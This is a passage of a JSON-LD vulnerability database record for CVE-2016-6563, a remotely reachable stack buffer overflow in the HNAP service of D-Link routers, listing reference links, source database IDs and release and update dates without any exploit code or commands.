      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-119",
        "trust": 1.1
      },
      {
        "problemtype": "CWE-Other",
        "trust": 0.8
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-95383"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2016-005757"
      },
      {
        "db": "NVD",
        "id": "CVE-2016-6563"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 3.1,
        "url": "https://www.kb.cert.org/vuls/id/677427"
      },
      {
        "trust": 1.9,
        "url": "https://www.exploit-db.com/exploits/40805/"
      },
      {
        "trust": 1.8,
        "url": "http://www.securityfocus.com/bid/94130"
      },
      {
        "trust": 1.8,
        "url": "http://seclists.org/fulldisclosure/2016/nov/38"
      },
      {
        "trust": 0.9,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2016-6563"
      },
      {
        "trust": 0.9,
        "url": "https://raw.githubusercontent.com/pedrib/poc/master/advisories/dlink-hnap-login.txt"
      },
      {
        "trust": 0.8,
        "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-6563"
      },
      {
        "trust": 0.8,
        "url": "http://jvn.jp/cert/jvnvu99822187"
      },
      {
        "trust": 0.3,
        "url": "http://www.dlink.co.in/"
      },
      {
        "trust": 0.1,
        "url": "https://cwe.mitre.org/data/definitions/119.html"
      },
      {
        "trust": 0.1,
        "url": "http://tools.cisco.com/security/center/viewalert.x?alertid=49611"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov"
      },
      {
        "trust": 0.1,
        "url": "http://blog.emaze.net/2011/10/exploiting-mips-embedded-devices.html"
      },
      {
        "trust": 0.1,
        "url": "https://github.com/rapid7/metasploit-framework/pull/7543"
      },
      {
        "trust": 0.1,
        "url": "http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/"
      },
      {
        "trust": 0.1,
        "url": "https://en.wikipedia.org/wiki/home_network_administration_protocol"
      },
      {
        "trust": 0.1,
        "url": "https://isc.sans.edu//diary/more+on+hnap+-+what+is+it,+how+to+use+it,+how+to+find+it/17648"
      },
      {
        "trust": 0.1,
        "url": "http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/"
      },
      {
        "trust": 0.1,
        "url": "https://packetstormsecurity.com/files/134370/d-link-dir-818w-buffer-overflow-command-injection.html"
      },
      {
        "trust": 0.1,
        "url": "http://www.dlink.com/uk/en/support/support-news/2015/april/13/hnap-privilege-escalation-command-injection"
      },
      {
        "trust": 0.1,
        "url": "http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/"
      },
      {
        "trust": 0.1,
        "url": "https://dl.packetstormsecurity.net/papers/attack/dlink_hnap_captcha.pdf"
      },
      {
        "trust": 0.1,
        "url": "http://www.agileinfosec.co.uk/"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-95383"
      },
      {
        "db": "VULMON",
        "id": "CVE-2016-6563"
      },
      {
        "db": "BID",
        "id": "94130"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2016-005757"
      },
      {
        "db": "PACKETSTORM",
        "id": "139611"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201611-125"
      },
      {
        "db": "NVD",
        "id": "CVE-2016-6563"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "VULHUB",
        "id": "VHN-95383"
      },
      {
        "db": "VULMON",
        "id": "CVE-2016-6563"
      },
      {
        "db": "BID",
        "id": "94130"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2016-005757"
      },
      {
        "db": "PACKETSTORM",
        "id": "139611"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201611-125"
      },
      {
        "db": "NVD",
        "id": "CVE-2016-6563"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2018-07-13T00:00:00",
        "db": "VULHUB",
        "id": "VHN-95383"
      },
      {
        "date": "2018-07-13T00:00:00",
        "db": "VULMON",
        "id": "CVE-2016-6563"
      },
      {
        "date": "2016-11-07T00:00:00",
        "db": "BID",
        "id": "94130"
      },
      {
        "date": "2016-11-09T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2016-005757"
      },
      {
        "date": "2016-11-08T16:44:46",
        "db": "PACKETSTORM",
        "id": "139611"
      },
      {
        "date": "2016-11-08T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201611-125"
      },
      {
        "date": "2018-07-13T20:29:01.003000",
        "db": "NVD",
        "id": "CVE-2016-6563"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2019-10-09T00:00:00",
        "db": "VULHUB",
        "id": "VHN-95383"
      },
      {
        "date": "2019-10-09T00:00:00",
        "db": "VULMON",
        "id": "CVE-2016-6563"
      },
      {
        "date": "2016-11-24T01:08:00",
        "db": "BID",
        "id": "94130"
      },
      {
        "date": "2017-03-16T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2016-005757"
      },
      {
        "date": "2019-10-17T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201611-125"
      },
      {
        "date": "2019-10-09T23:19:16.267000",
        "db": "NVD",
        "id": "CVE-2016-6563"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201611-125"
      }
    ],
    "trust": 0.6
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "D-Link Router made  HNAP Service stack buffer overflow vulnerability",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2016-005757"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "buffer error",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201611-125"
      }
    ],
    "trust": 0.6
  }
}